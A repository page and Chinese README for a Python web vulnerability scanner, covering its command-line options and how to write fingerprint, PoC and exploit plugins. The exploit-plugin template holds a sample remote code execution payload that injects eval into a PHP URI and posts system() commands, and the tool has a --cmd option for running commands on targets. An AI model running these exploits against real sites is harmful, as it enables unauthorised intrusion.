# ClosureVulnScanner
**Repository Path**: Y5neKO/ClosureVulnScanner
## Basic Information
- **Project Name**: ClosureVulnScanner
- **Description**: 基于Python的Web综合漏洞扫描器.
- **Primary Language**: Python
- **License**: MIT
- **Default Branch**: main
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 0
- **Forks**: 0
- **Created**: 2023-11-21
- **Last Updated**: 2023-11-21
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
CVS - ClosureVulnScanner
基于Python的Web综合漏洞扫描器,名字取自Arknights® Closure
————
————
## CVS - ClosureVulnScanner
- **v0.0**: 目前正在开发中,广泛征求意见.
- **v0.1**: 实现了基础功能,包括指纹、exp、poc、多线程以及代理等功能.
## 默认配置
`Python 3_8_0` | `PyCharm 2023.2.3` | `Windows 11` | `UTF-8`
## 版本&更新日志
**版本** v0.1
- *2023.10.26* | First init.
- *2023.11.01* | v0.1版本发布.
## 使用说明
```sh
root#
-> python ClosureVulnScanner.py -h
,ad8888ba, 88
d8"' `"8b 88
d8' 88
88 88 ,adPPYba, ,adPPYba, 88 88 8b,dPPYba, ,adPPYba,
88 88 a8" "8a I8[ "" 88 88 88P' "Y8 a8P_____88
Y8, 88 8b d8 `"Y8ba, 88 88 88 8PP"
Y8a. .a8P 88 "8a, ,a8" aa ]8I "8a, ,a88 88 "8b, ,aa
`"Y8888Y"' 88 `"YbbdP"' `"YbbdP"' `"YbbdP'Y8 88 `"Ybbd8"'
By Y5neKO :)
欢迎使用Closure Vulnerability Scanner
Github: https://github.com/Y5neKO
usage: ClosureVulnScanner.py [-h] [-u URL] [-e {identify,scan,exp}] [--exp EXP_NAME] [--cmd CMD] [-t TIMEOUT] [--proxy PROXY] [-o OUTPUT]
[--list LIST_POC_NAME] [--add-poc ADD_POC_NAME] [--add-exp ADD_EXP_NAME]
使用帮助
optional arguments:
-h, --help show this help message and exit
扫描参数:
-u URL 目标url, example: http(s)://www.baidu.com/
-e {identify,scan,exp}
指定操作类型, 默认为资产识别。identify:资产识别 | scan:漏洞扫描 | exp:漏洞利用
--exp EXP_NAME 指定exp模块, 使用exp目录内插件
--cmd CMD 指定exp模块命令执行
-t TIMEOUT 设置超时时间(ms), 默认5000ms
--proxy PROXY 使用代理, 目前支持Socks,HTTP; 格式:{socks|http}://ip_addr:port
-o OUTPUT 输出扫描结果到指定路径
拓展参数:
--list LIST_POC_NAME 列出已经加载的poc插件
--add-poc ADD_POC_NAME
添加poc插件
--add-exp ADD_EXP_NAME
添加exp插件
```
## 目录及功能描述
`core`: 核心功能目录
`exp`: 漏洞利用模块插件目录
`ez_poc`: 简单发包型poc验证模块插件目录
`finger`: 指纹信息目录
`log`: 程序日志目录
`poc`: 复杂poc验证模块插件目录
## 指纹模块编写规范
**添加方式**:
在`finger/finger.json`文件内的AssetName字段内增加即可
```json
{
"AssetName": {}
}
```
**编写规范**:
```json
"资产名称": {
"description": "指纹描述",
"payload": {
"method": "请求协议",
"uri": "请求uri",
"headers": {
"头部字段1": "头部键值1"
},
"body": {
"请求字段1": "请求键值1"
}
},
"keywords": "验证关键字,支持正则表达式"
}
```
## POC模块编写规范
### 简单POC模块
仅需要发包就可以验证的poc
**添加方式**:
在`ez_poc/ez_poc.json`文件内的PocName字段内增加即可
```json
{
"PocName": {}
}
```
**编写规范**:
```json
"漏洞名称": {
"description": "漏洞描述",
"payload": {
"method": "请求协议",
"uri": "uri路径",
"headers": {
"头部字段1": "头部键值1"
},
"body": {
"请求字段1": "请求键值1"
}
},
"keywords": "验证关键字,支持正则表达式"
}
```
### 复杂POC模块
需要经过复杂逻辑才能验证的poc
**添加方式**:
将python模块文件添加到poc目录
- 文件名规范:`资产名称_漏洞名称.py`
- 执行导入命令,写入poc索引文件:`python CVS.py --add-poc {模块名,必须和模块文件保持一致}`
**编写规范**:
```python
# 需要自行导入所需要包
import XXX
# 函数定义为 run(url, timeout)
def run(url, timeout):
"""
参数描述
@param url: 目标地址
@param timeout: 超时时间
@return result: 一个包括所有返回结果的列表
"""
result = {
'name': '漏洞名称',
'vulnerable': False, # 漏洞验证成功标识
'method': None, # 漏洞请求协议
'url': None, # 验证目标地址
'payload': None # 验证payload
}
"""
自定义代码段,根据编写逻辑,赋值并返回结果即可
"""
return result
```
## EXP模块编写规范
用于漏洞利用
将python模块文件添加到exp目录
- 文件名规范:`资产名称_漏洞名称.py`
- 执行导入命令,写入exp索引文件:`python CVS.py --add-exp {模块名,必须和模块文件保持一致}`
```python
# 需要自行导入所需要包
import XXX
# 函数定义为 run(url, cmd)
def run(url, cmd):
"""
参数描述
@param url: 目标地址
@param cmd: 指定命令执行,就算无法直接执行命令,也需要定义形参
@return {bool, string}: 执行成功标识和返回结果,用于命令回显,无回显自行说明即可;命令回显返回结果需用“{{{{{回显}}}}}”格式包裹,用于从响应中识别命令回显结果
"""
payload = r'/index.php?s=a/b/c/${@print(eval($_POST[cmd]))}'
payload = urllib.parse.urljoin(url, payload)
response = requests.post(payload, data={"cmd": "echo '{{{{{';system('" + str(cmd) + "');echo '}}}}}';"})
if response.status_code == 200:
return True, response.text
else:
return False, "利用失败"
```
## 贡献者
@Y5neKO
## 使用许可
[MIT](LICENSE) © Y5neKO